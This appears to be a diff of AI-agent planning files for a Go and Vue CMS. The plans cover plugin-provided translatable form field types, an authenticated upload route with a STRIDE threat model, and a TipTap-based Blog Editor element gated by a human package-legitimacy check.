<read_first>modules/cabana/field_type.go (Task 2 state), modules/cabana/field_ml.go, modules/cabana/crud.go (save, ShowRecord, BindWritableFields column binding helpers modelFields and gormColumn), modules/cabana/tx_context.go, modules/cabana/list_schema.go (listColumnTypes at 22, compileColumns at 200), modules/cabana/http.go (projectRow at 1067, the fileupload routes at 335-347, protect at 1030), modules/cabana/field_file.go (fileUpload and fileUploadOn at 684-760: MaxBytesReader, multipart, transaction, scope), modules/cabana/csrf.go (requireAjax), modules/cabana/locale_order_test.go (recordingWriter: fake TranslationWriter style), modules/cabana/admin_openapi.go (file upload annotations near line 1156), modules/cabana/README.md, docs/backend/field-types.md, docs/backend/admin-controllers.md (VirtualFieldsFromContext section: style for the writes accessor)</read_first>
|
||||
<behavior>
|
||||
- Translatable type: a body map {en, pl} with pl default runs Decode once per locale; pl lands on the host column, en goes through TranslationWriter.WriteTranslated; a FormFieldError on en is a 422 on the field and nothing is written.
|
||||
- Untouched (D-03): on update, a submitted per-locale value equal to the served value (Load of the stored value) is neither decoded nor written; on create nothing is skipped.
|
||||
- FieldWritesFromContext inside FormBeforeUpdate and FormAfterUpdate lists exactly the written (field, locale) values with Default set for the host value; it returns false outside a save.
|
||||
- A list column typed "notes" shows ListValue(value); without ListValue the raw value is kept.
|
||||
- Upload route: 201 {data:{url}} from Upload; 404 for a core-typed field or a type without Upload; 403 without the controller permission; missing X-Requested-With refused by requireAjax; over the cap 413; FormFieldError 422 on the field; id 0 passes Record nil.
|
||||
</behavior>
|
||||
<action>Extend Task 2's runner (per D-03, D-06, D-10, D-12.4, D-14, D-18).
|
||||
|
||||
Translatable types (D-14, D-06): add isMLField(field FormField) bool = mlFieldType(field.Type) or a plugin type with Translatable; switch the field loops in liftMLValues and hydrateMLRecord to it, so a translatable plugin field is lifted (locale to string map, default required, enabled locales only) and hydrated exactly like mlmarkdown. decodePluginFields then handles translatable fields per locale: the default-locale value is decoded into projected[field]; non-default values are decoded and replace the matching entries of the translations list that applyMLTranslations writes. A translatable Decode must return a string; any other result type is an opaque 500. FormFieldValue.Translated is a closure over TranslationWriter.TranslatedExact(ctx, tx, record, attribute, locale) for the same record and locale (nil without a writer). hydratePluginFields applies Load per locale to the hydrated map.
|
||||
|
||||
Untouched skip (D-03 server half, RESEARCH Pattern 3): new servedFieldValue computes what Show serves for a field and locale on the loaded target (host value read through the same column binding BindWritableFields uses, pointers dereferenced; non-default from TranslatedExact, missing = ""), then Load. On update, decodePluginFields compares the submitted value with the served value by canonical encoding/json bytes and skips equal ones entirely (not in projected, not in translations). On create nothing is skipped.
|
||||
|
||||
Written values (Pitfall 7): tx_context.go gains FieldWrite, withFieldWrites (unexported), WithFieldWrites (exported, documented for Form hook tests) and FieldWritesFromContext (returns a copy; false outside a create or update), mirroring withVirtualFields/VirtualFieldsFromContext. save puts the writes on the context right after decodePluginFields, before formBeforeUpdate/formBeforeCreate, so Before and After hooks both see them.
|
||||
|
||||
List (D-12.4): compileColumns accepts a plugin alias as a column type (listColumnTypes stays the core set); ListColumn gets an unexported fieldType; projectRow returns ListValue(value) for such a column when ListValue is non-nil.
|
||||
|
||||
Upload route (D-18, RESEARCH Pattern 9): new modules/cabana/field_type_upload.go with fieldUpload mounted as g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload)) plus constrainFile-style Where constraints, next to the file routes (7 segments; distinct from .../files/{field}/reorder and .../relations/{name}/link by the literal segment). Inside s.protect: the field must exist in cc.Form with a plugin type whose Upload is non-nil, else 404 not_found; the field's context must allow create when id is 0 and update otherwise, else 404; the body is capped with http.MaxBytesReader(w, r.Body, s.uploadBytes); exactly one multipart part named file, else 422 invalid on the field; for id != 0 the record loads through loadRecord (FormExtendQuery scope) in a transaction, a miss is 404; Upload gets FormFieldUpload{DB, Record (nil for id 0), Field, Options, Filename, Body}; a FormFieldError is 422 validation_failed on the field; any other error an opaque 500; success 201 {"data":{"url":...}} (FieldUploadResponse). Annotate the route in admin_openapi.go, add "POST /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload" to phase09Routes, run bash scripts/check-admin-openapi.sh and add the FieldUploadResponse alias to admin/src/api/types.ts.
|
||||
|
||||
Tests: TestFieldTypeExpansionSmoke in field_type_smoke_test.go (no database; a recording TranslationWriter in the locale_order_test.go style; a translatable fake type "notesml"; the upload route through httptest with id 0 and a principal context as the existing route tests build it) covering every behavior bullet above.
|
||||
|
||||
Docs: cabana README rows for FieldWrite, FieldWritesFromContext, WithFieldWrites and the upload route, and a note that settings and relation forms refuse plugin field types; docs/backend/field-types.md sections "Translatable types", "Untouched values", "Companion columns in Form hooks" (with FieldWritesFromContext) and "Uploads"; neutral names only. Commit as feat(cabana) with the README, docs and OpenAPI files, staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^(TestFieldTypeTracerSmoke|TestFieldTypeExpansionSmoke|TestPhase09ContractInventory|TestPhase09PermissionMatrix|TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2>&1 | grep -c '^--- PASS: Test' | grep -qx 6</automated>
|
||||
<fails_when>Non-zero exit: vet fails, or fewer than six top-level "--- PASS: Test" lines (the expansion smoke fails or is missing, or an existing route, permission, relation-search or locale-order smoke regressed).</fails_when>
|
||||
<automated>bash scripts/check-admin-openapi.sh --check && npm --prefix admin run typecheck && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: the committed OpenAPI or schema.d.ts is stale, the SPA no longer type-checks against the regenerated types, or TestDocsTree reports a missing identifier, link or anchor.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "func FieldWritesFromContext" modules/cabana/tx_context.go` and `grep -n "func WithFieldWrites" modules/cabana/tx_context.go` each print one line.
|
||||
- `grep -n 'fields/{field}/upload' modules/cabana/http.go modules/cabana/security_coverage_test.go modules/cabana/admin_openapi.go` prints at least one line per file.
|
||||
- TestFieldTypeExpansionSmoke has passing subtests for: per-locale Decode with default on the host and non-default through the writer, a non-default FormFieldError 422 with no write, untouched skip on update for host and translation, no skip on create, the writes accessor in Before and After hooks, ListValue in projectRow, and the upload route answers 201, 404 (core field), 403 (no permission), 413 (over the cap) and 422 (FormFieldError).
|
||||
- The OpenAPI check, typecheck and TestDocsTree pass.
|
||||
</acceptance_criteria>
|
||||
<done>Translatable plugin types store through the existing ML path, untouched values are never written, hooks can see what was written, list columns format through the type, and the upload route is mounted, documented and permissioned.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 4: Expansion (SPA): MLPluginField, element uploads through the SPA, plugin list columns, docs and dist</name>
|
||||
<files>admin/src/components/form/fields/MLPluginField.vue, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/registry.ts, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts, admin/src/components/form/formContext.ts, admin/src/views/FormView.vue, admin/src/views/ListView.vue, admin/src/components/relation/RelationChildModal.vue, admin/tests/form/PluginField.test.ts, modules/boardwalk/dist, docs/backend/field-types.md</files>
|
||||
<read_first>admin/src/components/form/fields/PluginField.vue (Task 2 state), admin/src/components/form/fields/MLField.vue, admin/src/components/form/fields/MLMarkdownField.vue, admin/src/components/form/mlLocale.ts, admin/src/components/form/formState.ts (isMLFieldType callers at 68, 139, 187, 228-233), admin/src/views/FormView.vue (isMLFieldType at 180 and 252), admin/src/components/relation/RelationChildModal.vue (isMLFieldType at 221), admin/src/views/ListView.vue (column cell rendering), admin/src/api/files.ts (multipart upload with X-Requested-With and failure kinds), admin/src/api/client.ts, admin/tests/form/MLFields.test.ts, admin/tests/form/PluginField.test.ts, docs/backend/field-types.md</read_first>
|
||||
<behavior>
|
||||
- A field with element and translatable renders MLPluginField: the locale switcher of MLField around PluginField; the element gets the active content locale in its locale attribute and that locale's string as value; summer-change updates only that locale in the map.
|
||||
- isMLField(field) is true for mltext, mltextarea, mlmarkdown and for a field with element and translatable; formState initial values, editable payload, adopt and record display name treat such a field as a locale map.
|
||||
- summer-upload {id, file} posts multipart to the field upload route with the form's vendor, plugin, controller, record id (0 on create) and field name, then dispatches summer-upload-result {id, url} on success and {id, error} with the server message on 422, 413 or a network failure.
|
||||
- A list column whose type is not built in renders its value as plain text.
|
||||
</behavior>
|
||||
<action>Finish the SPA half (per D-06, D-13, D-14, D-18).
|
||||
|
||||
ML (D-14): new MLPluginField.vue in the MLMarkdownField.vue shape: MLField with :inner="PluginField", inner-type = field.type and ml-type = field.type; PluginField accepts an optional content-locale prop that MLField's inner rendering supplies and writes it to the locale attribute. mlLocale.ts gains isMLField(field) (keep isMLFieldType exported unchanged); switch the callers in formState.ts, FormView.vue and RelationChildModal.vue to the field-based check. rendererForField returns MLPluginField for a translatable plugin field; groupLabelled is true for it.
|
||||
|
||||
Uploads (D-18): formContext.ts adds FIELD_UPLOAD_EVENT = 'summer-upload' and FIELD_UPLOAD_RESULT_EVENT = 'summer-upload-result'. PluginField listens for summer-upload, posts the File as the single multipart part "file" to /{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload with the same session and X-Requested-With handling api/files.ts uses (path values from the control props, record id 0 on create), and dispatches summer-upload-result on the element with {id, url} or {id, error} (the 422 message, or a localized generic failure for 413 and network errors). The SPA never hands the element a token or a function.
|
||||
|
||||
Lists (D-12.4): make ListView render a column whose type has no built-in renderer as plain text of the row value (the server already sent the ListValue string), if it does not already.
|
||||
|
||||
Tests: extend admin/tests/form/PluginField.test.ts with the ML wrapper (two locales, locale attribute, per-locale change), the upload round trip (mocked fetch: success, 422 message, network failure) and isMLField on the formState helpers.
|
||||
|
||||
Docs and dist: docs/backend/field-types.md gains the full element contract (value, attributes, summer-change, summer-upload, summer-upload-result, the echo rule, --c-* only, no credentials) and the translatable variant; rebuild with npm --prefix admin run build and commit modules/boardwalk/dist with the SPA change as feat(admin), staged by explicit path.</action>
|
||||
<verify>
|
||||
<automated>npm --prefix admin run typecheck && npm --prefix admin test && bash scripts/check-admin-dist.sh && go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit: a type error, any vitest file failing (including MLFields, FormView, ListView and the extended PluginField tests), check-admin-dist printing "modules/boardwalk/dist is stale", or TestDocsTree reporting a missing identifier or anchor.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `grep -n "export function isMLField" admin/src/components/form/mlLocale.ts` prints one line, and FormView.vue, formState.ts and RelationChildModal.vue call isMLField.
|
||||
- PluginField.test.ts passes its ML, upload (success, 422, network) and isMLField cases; the full vitest suite passes.
|
||||
- docs/backend/field-types.md documents summer-change, summer-upload and summer-upload-result.
|
||||
- check-admin-dist passes with the rebuilt dist committed.
|
||||
</acceptance_criteria>
|
||||
<done>Translatable plugin fields switch locales like mlmarkdown, elements upload through the SPA without credentials, plugin list columns render, and the docs describe the full contract.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| admin browser → cabana admin API | save bodies, upload bodies and field-type requests cross here (cookie or Bearer session) |
|
||||
| plugin Go code → cabana | Decode, Load, ListValue and Upload run inside cabana's handlers and transaction |
|
||||
| plugin element JS → admin SPA DOM | the element runs in the admin origin under CSP script-src 'self' |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16.2-01 | Spoofing | compileFieldTypes alias registry | high | mitigate | Boot fails when an alias equals a core type or another plugin's alias, naming both owners; element tags must carry the owning plugin's prefix (checkWidgetTag) |
|
||||
| T-16.2-02 | Tampering (stored XSS) | decodePluginFields | high | mitigate | Decode runs for the host value and for every non-default locale inside the save transaction; there is no write path for a plugin field that skips Decode except the equal-to-served skip, which by definition writes nothing |
|
||||
| T-16.2-03 | Elevation of Privilege | fieldUpload route | high | mitigate | Backend guard, requireAjax (X-Requested-With) with the SameSite=Strict cookie, controller RequiredPermissions via protect, field context check, FormExtendQuery record scope for id != 0, 404 for fields without a plugin Upload |
|
||||
| T-16.2-04 | Denial of Service | fieldUpload body | medium | mitigate | http.MaxBytesReader with http.body_limits.upload_bytes (413), exactly one multipart part |
|
||||
| T-16.2-05 | Information Disclosure | PluginField / element | high | mitigate | The element receives only the value property and plain attributes; uploads are performed by the SPA; no token, cookie, function or Vue instance is ever passed (test asserts attributes only) |
|
||||
| T-16.2-06 | Tampering | typeOptions to element | low | mitigate | Options reach the element only as a JSON attribute string; the SPA never renders them as HTML |
|
||||
| T-16.2-07 | Information Disclosure | plugin errors | medium | mitigate | Only pact.FormFieldError messages reach the client (422); any other Decode, Load or Upload error is an opaque 500 through lifecycleFailure |
|
||||
| T-16.2-08 | Tampering | untouched skip | low | accept | An attacker who submits the served value only causes no write; the skip cannot store anything that Decode did not already accept |
|
||||
| T-16.2-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package is installed by this plan: Go has no new dependency and the admin SPA builds from its committed lockfile |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1: baseline contract and schema tests pass and a human approved the API.
|
||||
- Task 2: TestFieldTypeTracerSmoke and the regression set pass; PluginField vitest, OpenAPI check, dist check and TestDocsTree pass.
|
||||
- Task 3: TestFieldTypeExpansionSmoke and the regression set pass; OpenAPI check, typecheck, TestDocsTree pass.
|
||||
- Task 4: full admin vitest suite, dist check and TestDocsTree pass.
|
||||
- Postgres-backed save, show and upload tests with a real record are written in plan 06 and run on a Docker host.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- D-11 to D-15 implemented in pact, cabana and the SPA with fail-loud boot checks.
|
||||
- D-03 server skip, D-10 refusal mapping, D-06/D-14 storage through the existing ML path, D-18 upload route in place.
|
||||
- OpenAPI, TS types, dist, READMEs and docs updated in the same changes; no framework doc names a consuming application.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-01-SUMMARY.md` when done, with the Task 1 reply, the final identifier list, commit hashes, and the smoke test results.
|
||||
</output>
|
||||
@@ -0,0 +1,284 @@
|
||||
---
|
||||
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
|
||||
plan: 02
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
coupling_justified: ["16.2-01: shares only the element contract (tag prefix rule, value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid, events summer-change, summer-upload, summer-upload-result), which plan 01 fixes per D-13 and its Task 1 checkpoint cannot rename (only pact and cabana Go identifiers, none of which this plan references), so both execution orders produce the same names"]
|
||||
files_modified:
|
||||
- ../sm-journal-plugin/.gitignore
|
||||
- ../sm-journal-plugin/package.json
|
||||
- ../sm-journal-plugin/package-lock.json
|
||||
- ../sm-journal-plugin/tsconfig.json
|
||||
- ../sm-journal-plugin/vite.config.ts
|
||||
- ../sm-journal-plugin/scripts/check-dist.sh
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/index.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/element.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/embed.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/labels.ts
|
||||
- ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.js
|
||||
- ../sm-journal-plugin/assets/dist/blogeditor.css
|
||||
- ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html
|
||||
- ../sm-journal-plugin/tests/blogeditor/smoke.test.ts
|
||||
- ../sm-journal-plugin/admin.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
autonomous: false
|
||||
requirements: [D-01, D-03, D-04, D-05, D-13, D-16, D-18]
|
||||
estimate:
|
||||
tokens: 110000
|
||||
raw_tokens: 110000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-16: the Blog Editor is the custom element golem15-journal-blogeditor built from sm-journal-plugin assets/src with a pinned Vite library build into assets/dist/blogeditor.js and assets/dist/blogeditor.css; the bundle is committed, embedded through admin.go's //go:embed list, and scripts/check-dist.sh fails when assets/dist differs from a fresh build; the host app needs no npm."
|
||||
- "D-01: the element is a WYSIWYG editor on TipTap with a source tab; the source tab shows and edits the exact HTML string."
|
||||
- "D-03: setting value and reading it back without a user edit returns the identical string for the imported-post fixture (footer, style, spans, figures, tables, entities); no summer-change is emitted until a user edit; editing one paragraph leaves every other top-level block of the fixture byte-identical in the output."
|
||||
- "D-04: the toolbar offers headings, bold, italic, bullet and ordered lists, links, blockquote, tables, images, embeds and a raw HTML block; unknown block markup (footer, section, aside, header, nav, details, style, div) becomes a non-editable raw HTML card that renders its source as text."
|
||||
- "D-05: an embed is inserted from a YouTube URL as exactly <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id; the admin editor never renders an iframe."
|
||||
- "D-18 (editor half): an image chosen with the file picker or dropped on the editor is sent as summer-upload {id, file}; on summer-upload-result {id, url} the editor inserts an img with alt text, inside figure with figcaption when a caption is given; on {id, error} it shows the error and inserts nothing."
|
||||
- "D-13: the element follows the documented contract (value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload) and styles only through --c-* variables under its tag."
|
||||
artifacts:
|
||||
- path: "../sm-journal-plugin/assets/dist/blogeditor.js"
|
||||
provides: "committed editor bundle"
|
||||
contains: "golem15-journal-blogeditor"
|
||||
- path: "../sm-journal-plugin/scripts/check-dist.sh"
|
||||
provides: "dist drift gate"
|
||||
contains: "diff -r"
|
||||
- path: "../sm-journal-plugin/assets/src/blogeditor/serializer.ts"
|
||||
provides: "lossless serializer with top-level block reuse"
|
||||
contains: "serializeDocument"
|
||||
- path: "../sm-journal-plugin/admin.go"
|
||||
provides: "embed of the editor bundle"
|
||||
contains: "assets/dist/blogeditor.js"
|
||||
key_links:
|
||||
- from: "../sm-journal-plugin/admin.go adminFS"
|
||||
to: "../sm-journal-plugin/assets/dist/blogeditor.js"
|
||||
via: "//go:embed line, served by cabana as a field-type script (plan 03 declares it)"
|
||||
pattern: "assets/dist/blogeditor"
|
||||
- from: "golem15-journal-blogeditor summer-upload"
|
||||
to: "admin SPA PluginField (plan 01)"
|
||||
via: "bubbling CustomEvent answered with summer-upload-result"
|
||||
pattern: "summer-upload"
|
||||
prohibitions:
|
||||
- statement: "The editor never re-serializes an untouched document and never uses editor.getHTML() as the stored value."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The bundle uses no eval or new Function and injects no style tag (admin CSP script-src 'self'; injectCSS false)."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The element renders no iframe and no live raw HTML in the admin; raw blocks show escaped text."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
- statement: "The element never asks for, stores or sends credentials and never calls the public Journal media API itself."
|
||||
status: unresolved
|
||||
verification: judgment
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
|
||||
|
||||
This plan's slice (user decision 1, plan 02): the Blog Editor custom element in `../sm-journal-plugin` (`assets/src` to `assets/dist`), with its own JS build, tests and drift gate, embedded in the plugin. Plan 03 registers it as the `blogeditor` and `mlblogeditor` field types.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
|
||||
|
||||
## Decisions recorded here (Claude's discretion)
|
||||
|
||||
- **TipTap version (user decision 6):** keep 3.31.4, the version RESEARCH probed (lossiness, emitUpdate, trailingNode), behind a blocking human package check before the first install. An older 3.x was never probed, so pinning one would trade a known release-age flag for unverified behaviour.
|
||||
- **Embed markup and allowlist (D-05):** exactly `<figure data-embed="youtube" data-id="ID"></figure>`, attributes in that order, no caption, id matching `^[A-Za-z0-9_-]{11}$`. YouTube is the only provider; the provider table in `embed.ts` and in the layer (plan 04) has one entry so another provider is one entry in each.
|
||||
- **Untouched detection (D-03):** the element keeps the exact served string and returns it until a user edit (client layer); cabana also skips values equal to what it served (plan 01).
|
||||
- **Top-level block reuse (RESEARCH A3):** included. Unedited top-level blocks keep their original bytes after an edit elsewhere.
|
||||
- **Image without caption:** a plain `img` block; with a caption, `figure` with `img` and `figcaption`.
|
||||
|
||||
## Artifacts this phase produces (this plan)
|
||||
|
||||
- Custom element `golem15-journal-blogeditor` (class `BlogEditorElement`), registered once by `assets/src/blogeditor/index.ts`.
|
||||
- `assets/src/blogeditor/extensions.ts`: `preservationExtensions()`, nodes `rawHtml`, `figure`, `figcaption`, `embed`, mark `span`, extension `htmlAttributes` (global attribute map), table render override.
|
||||
- `assets/src/blogeditor/serializer.ts`: `serializeDocument(editor, original)`, `captureBlocks(html, schema)`.
|
||||
- `assets/src/blogeditor/embed.ts`: `EMBED_PROVIDERS`, `parseEmbedUrl(url)`.
|
||||
- `assets/src/blogeditor/labels.ts`: `labelsFor(uiLocale)` with `en` and `pl` tables.
|
||||
- `assets/src/blogeditor/toolbar.ts`: `buildToolbar(...)`.
|
||||
- Build files: `package.json`, `package-lock.json`, `tsconfig.json`, `vite.config.ts` (build and vitest config), `scripts/check-dist.sh`, `.gitignore`.
|
||||
- Committed bundle: `assets/dist/blogeditor.js`, `assets/dist/blogeditor.css`.
|
||||
- Test files: `tests/blogeditor/fixtures/imported-post.html`, `tests/blogeditor/smoke.test.ts`.
|
||||
|
||||
<objective>
|
||||
Build the Blog Editor custom element (D-01, D-03, D-04, D-05, D-13, D-16, D-18 editor half) as sm-journal-plugin's own JS build with a committed, embedded bundle.
|
||||
|
||||
Purpose: plan 03 registers this element as the Journal post and category content field type.
|
||||
Output: package setup, element source, preservation schema and serializer, upload and embed UI, vitest smoke tests, committed dist, drift gate, embed line, README section.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
|
||||
@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
|
||||
|
||||
Repository: `../sm-journal-plugin` (branch main). Commits there: no co-author tags, stage by explicit path, one logical change per commit. It has no `.gitignore` today; add one with `node_modules/` before the first install. The Go module builds against `../summercms.go` through `go.work`.
|
||||
|
||||
<interfaces>
|
||||
Element contract (identical to plan 01's interfaces block; plan 01 documents it in docs/backend/field-types.md). Fixed for this phase: plan 01's Task 1 checkpoint may rename only pact and cabana Go identifiers, never these names, so this plan runs in parallel with plan 01 against them. If plan 01's SUMMARY or checkpoint reply ever lists a change to any name below, stop and report instead of guessing.
|
||||
- Property `value` (string). Attributes `field-name`, `record-id`, `locale`, `ui-locale`, `options` (JSON), `disabled`, `invalid`.
|
||||
- Events (bubbling CustomEvent): `summer-change` detail `{value}` on user edits only; `summer-upload` detail `{id, file}`; the SPA answers on the element with `summer-upload-result` detail `{id, url}` or `{id, error}`.
|
||||
- Setting `value` to the string the element currently returns is a no-op (no reset, no event).
|
||||
|
||||
Embed placeholder (stored markup, consumed by the layer in plan 04):
|
||||
|
||||
```html
|
||||
<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
|
||||
```
|
||||
|
||||
Element skeleton (RESEARCH Code Example 3, the value logic to keep):
|
||||
|
||||
```ts
|
||||
get value(): string { return this.#dirty ? serializeDocument(this.#editor!, this.#blocks) : this.#value }
|
||||
set value(v: string) {
|
||||
if (v === this.value) return // echo of our own summer-change
|
||||
this.#value = v; this.#dirty = false
|
||||
this.#editor?.commands.setContent(v, { emitUpdate: false })
|
||||
}
|
||||
// onUpdate({ transaction }): if (!transaction.docChanged) return; dirty = true; dispatch summer-change
|
||||
```
|
||||
|
||||
Pinned toolchain (same versions as summercms.go/admin/package.json): vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. Editor packages (exact): @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image, all 3.31.4.
|
||||
|
||||
Gate the server applies on save (plan 03, sm-journal-plugin classes/format_html.go CheckHTML): refuses `<script`, `<iframe`, `<object`, `<embed` tags, `on*=` attributes and `javascript:`, `vbscript:`, `data:` anywhere. The element shows the 422 message the SPA puts on the field; it does not try to rewrite content.
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:human-verify" gate="blocking-human">
|
||||
<name>Task 1: Package legitimacy check before the first TipTap install (all @tiptap packages flagged too-new)</name>
|
||||
<read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Package Legitimacy Audit, Standard Stack), ../summercms.go/admin/package.json (the approved toolchain pins)</read_first>
|
||||
<action>Do not install anything. Run the read-only registry query in the verify command and print, for each of @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table and @tiptap/extension-image at 3.31.4: version, license, repository URL, publish time, and the scripts object (preinstall, install and postinstall must be absent). Print the npm pages for the human: https://www.npmjs.com/package/@tiptap/core, https://www.npmjs.com/package/@tiptap/pm, https://www.npmjs.com/package/@tiptap/starter-kit, https://www.npmjs.com/package/@tiptap/extension-table, https://www.npmjs.com/package/@tiptap/extension-image, and the release list https://github.com/ueberdosis/tiptap/releases. State the recorded choice: 3.31.4 is kept because it is the version the research probed; the flag is the release age (published 2026-09-30), not the packages. Stop for the human. This checkpoint is never auto-approved.</action>
|
||||
<what-built>Nothing yet: a read-only registry report for the five editor packages.</what-built>
|
||||
<how-to-verify>Open each npm page: the publisher is the TipTap organisation (ueberdosis), the repository is github.com/ueberdosis/tiptap, the license is MIT, version 3.31.4 exists and has normal weekly downloads, and the package has no install scripts. Check the GitHub release notes for 3.31.4 for any security advisory or yanked release.</how-to-verify>
|
||||
<resume-signal>Reply "packages approved" to install 3.31.4, "use X.Y.Z" to pin another 3.x release for all five packages (the executor re-runs the query for it), or "stop".</resume-signal>
|
||||
<verify>
|
||||
<automated>for p in @tiptap/core @tiptap/pm @tiptap/starter-kit @tiptap/extension-table @tiptap/extension-image; do npm view "$p@3.31.4" version license repository.url --json || exit 1; npm view "$p@3.31.4" scripts --json | grep -E '"(preinstall|install|postinstall)"' && exit 1; done; echo registry-ok</automated>
|
||||
<fails_when>Non-zero exit or "registry-ok" absent: a package or version is missing from the registry, or a package declares a preinstall, install or postinstall script.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- The verify printed registry-ok and the SUMMARY records each package's license and repository URL.
|
||||
- The SUMMARY records the human's reply verbatim and the version that Task 2 installs.
|
||||
</acceptance_criteria>
|
||||
<done>A human approved the editor packages and their version, or stopped the plan.</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer: element source to committed, embedded bundle, with the untouched-value contract proven on an imported post</name>
|
||||
<precondition>Task 1 was answered "packages approved" or "use X.Y.Z"; `node --version` reports v22.6 or later.</precondition>
|
||||
<files>../sm-journal-plugin/.gitignore, ../sm-journal-plugin/package.json, ../sm-journal-plugin/package-lock.json, ../sm-journal-plugin/tsconfig.json, ../sm-journal-plugin/vite.config.ts, ../sm-journal-plugin/scripts/check-dist.sh, ../sm-journal-plugin/assets/src/blogeditor/index.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/admin.go</files>
|
||||
<read_first>../sm-journal-plugin/admin.go (the //go:embed list), ../sm-journal-plugin/plugin_test.go (AdminFS assertions), ../summercms.go/admin/package.json (toolchain pins), ../summercms.go/admin/vitest.config.ts, ../summercms.go/scripts/check-admin-dist.sh (drift gate to mirror), ../summercms.go/admin/src/components/form/fields/WidgetField.vue (header comment: element rules), ../summercms.go/modules/cabana/README.md (section "Partial style kit and plugin CSS variables": the --c-* names), ../summercms.go/modules/boardwalk/boardwalk.go (admin CSP, line 32), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json (fixture source: its content field, markdown with the author footer and style), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 3, 5, 8; Pitfalls 1-4; Code Example 3)</read_first>
|
||||
<action>Make the element exist end to end before any schema work (per D-16, D-13, D-03).
|
||||
|
||||
